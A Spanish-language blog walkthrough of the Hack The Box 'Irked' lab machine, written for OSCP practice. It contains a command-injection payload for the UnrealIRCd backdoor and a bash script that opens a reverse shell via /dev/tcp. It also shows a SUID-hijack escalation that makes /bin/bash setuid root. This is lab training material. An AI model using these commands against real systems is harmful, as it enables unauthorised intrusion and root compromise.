Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

OSCP Path ~ Irked Hack The Box (Necesario VIP)

Irked ~ Hack The Box to OSCP

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.117       "

Procedemos con el siguiente escaneo de Nmap

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          44467/udp6  status
|   100024  1          49019/udp   status
|   100024  1          54120/tcp6  status
|_  100024  1          59106/tcp   status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
59106/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Procedemos a comprobar el puerto http, en el que vemos una imagen, que procedemos a descargarnos y nos dice algo de IRC Vemos que el servicio irc corre en el puerto 6697, 8067 y 65534.

Porque no vamos a ver si encontramos con searchsploit algun recurso de utilidad para UnrealIRCd

buscamos por searchsploit UnrealIRCd


# searchsploit UnrealIRCd                                           
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                               |  Path
-------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                 | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                      | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                               | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                    | windows/dos/27407.pl
-------------------------------------------------------------------------------------------- ---------------------------------

Vemos que si tenemos cositas ` linux/remote/13853.pl` Intentamos hacer uso de exploit pero no resulta funcional. Asique procedemos a hecharle un ojo a lo que hace para intentar nosotros de forma manual probar a repetirlo.

Ganando Acceso atraves del IRC

# nc 10.10.10.117 6697                                                                                                                                        1 ⚙
:irked.htb NOTICE AUTH :*** Looking up your hostname...

Comando a injecctar en el IRC visto en exploit

AB; cd /tmp; ping -c 1 10.10.16.241

Tal que asi procedemos

# nc 10.10.10.117 6697
:irked.htb NOTICE AUTH :*** Looking up your hostname...
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
:irked.htb 451 AB; :You have not registered
AB; cd /tmp; ping -c 1 10.10.16.241                             Lo injectamos una vez
:irked.htb 451 AB; :You have not registered

AB; cd /tmp; ping -c 1 10.10.16.241                             Lo injectamos una 2veces
:irked.htb 451 AB; :You have not registered
AB; cd /tmp; ping -c 1 10.10.16.241                             Lo injectamos una 3veces
:irked.htb 451 AB; :You have not registered

Nos ponemos a la escucha para ver si recibimos una trace icmp, para ello usamos la herramienta tcpdump

# tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:03:11.212428 IP 10.10.10.117 > 10.10.16.241: ICMP echo request, id 1402, seq 1, length 64
12:03:11.212438 IP 10.10.16.241 > 10.10.10.117: ICMP echo reply, id 1402, seq 1, length 64
12:03:17.879102 IP 10.10.10.117 > 10.10.16.241: ICMP echo request, id 1404, seq 1, length 64
12:03:17.879110 IP 10.10.16.241 > 10.10.10.117: ICMP echo reply, id 1404, seq 1, length 64

Vemos que lo recibimos correctamente. Por lo tanto ya que vemos que tenemos un RCE en las manos, procedo a realizarme un script para automatizarme la intrusion a la maquina victima

# cat AutoPwn_UnrealIRCd.sh                                                                                                                        1 ⚙
#!/bin/bash
# Se necesita poner una session de nc a la escucha por el puerto que indiquemos

function ctrl_c(){
        echo -e "\n[*] Saliendo ...\n"
        exit 1
}

# Ctrl + C 
trap ctrl_c INT

# ./exploit.sh

function helpPannel(){
        echo -e "\n\n[!] Uso: $0 Ip Port\n"
        exit 1
}

# Variables IP & PORT
ip=$1
port=$2

# Procedemos a ganar acceso al sistema
echo -e "\n[*] Ganando acceso al sistema 10.10.10.117 atraves del Servicio UnrealIRCd por el puerto 6697 desde la $ip estando a la escucha por el $port\n"
# Abrimos el servicio de UnrealIRCd con netcat para enviar nuestro comando
echo "AB; cd /tmp; bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'" | nc 10.10.10.117 6697
sleep 2
exit 0

Procedemos a ejecutarlo para con una session de netcat a la escucha por el puerto que queramos

# ./AutoPwn_UnrealIRCd.sh 10.10.16.241 443                                                                                                         1 ⚙

[*] Ganando acceso al sistema 10.10.10.117 atraves del Servicio UnrealIRCd por el puerto 6697 desde la 10.10.16.241 estando a la escucha por el 443
:irked.htb NOTICE AUTH :*** Looking up your hostname...

Recibimos la conexion entrante

# nc -vlnp 443
listening on [any] 443 ...
connect to [10.10.16.241] from (UNKNOWN) [10.10.10.117] 39968
bash: cannot set terminal process group (639): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:/tmp$ 

Realizamos un tratamiento de la tty Enumeramos el sistema en busca de la flag user.txt

ircd@irked:/home/djmardov/Documents$ ls -la
total 16
drwxr-xr-x  2 djmardov djmardov 4096 May 15  2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov  3  2018 ..
-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backup
-rw-------  1 djmardov djmardov   33 May 15  2018 user.txt

La encontramos y vemos que no podemos leer ya que pertenece al usuario djmardov Tambien encontramos el archivo backup, asique vamos a hecharle un ojo.

ircd@irked:/home/djmardov/Documents$ cat .backup 
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

Vemos que tenemos una passwd para steg, probamos a usarlo para la foto de portada de la web.

# steghide extract -sf irked.jpg                                                                                                                   5 ⚙
Anotar salvoconducto: 
anot� los datos extra�dos e/"pass.txt".

Verificamos el archivo pass.txt que se acaba de extraer

# cat pass.txt                                                                                                                                     5 ⚙
Kab6h+m+bbp2J:HG

Parece la password del usuario jmardov probamos a conectarnos por ssh

# ssh djmardov@10.10.10.117                                                                                                                        5 ⚙
djmardov@10.10.10.117's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$ 

Pillamos la primera flag.txt

djmardov@irked:~/Documents$ cat user.txt 
4a66a78b12dc0e661a59xxxxxxxx

Enumeramos el sistema

# Find / -perm -4000 -type f 2>/dev/null
/usr/bin/viewuser

Encontramos este binario personalizado nos lo descargamos a nuestra maquina para hacerle un ltrace para ver que esta haciendo

# ltrace ./viewuser     
__libc_start_main(0x5659e57d, 1, 0xfff934f4, 0x5659e600 <unfinished ...>
puts("This application is being devleo"...This application is being devleoped to set and test user permissions
)                                                   = 69
puts("It is still being actively devel"...It is still being actively developed
)                                                   = 37
system("who"pro      tty7         2021-08-05 09:37 (:0)
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                        = 0
setuid(0)                                                                                     = 0
system("/tmp/listusers"sh: 1: /tmp/listusers: not found
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                        = 32512
+++ exited (status 0) +++

Escalada de privilegios a root

Tras ver el funcionamiento del binario con permisos SUID que podemos ejecutar, vemos que hace un setuid(0) y luego prueba a ejecutar un archivo almacenado en la ruta /tmp/ llamado listuser. Como el archivo no existia le damos caña y lo creamos nosotros para que nos interprete los comandos que queramos cuando se ejecute el binario ./viewuser

djmardov@irked:/tmp$ ls
listusers  
-rwxr-xr-x 1 djmardov djmardov   49 Aug  5 11:49 listusers

Metemos dentro de listusers:

djmardov@irked:/tmp$ cat listusers 
#!/bin/bash

chmod 4755 /bin/bash
echo "Pwneado"

Procedemos a ejecutar el binario ./viewuser para qque nos interprete nuestro comandos en el archivo listuser Acordarse de darle permisos de ejecucion con chmod +x

djmardov@irked:/usr/bin$ ./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2021-08-05 10:35 (:0)
djmardov pts/1        2021-08-05 11:24 (10.10.16.241)
Pwneado

Verificamos que nos a ejecutado el comando introducido para darle permisos SUID a la /bin/bash7

djmardov@irked:/usr/bin$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1105840 Nov  5  2016 /bin/bash

Sacamos la flag de root

djmardov@irked:/$ bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt 
8d8e9e8be64654b6dccc3bxxxxxxxxxxxxx

Maquina Irked Pwneada =) Seguimos Full Hack Aprendiendo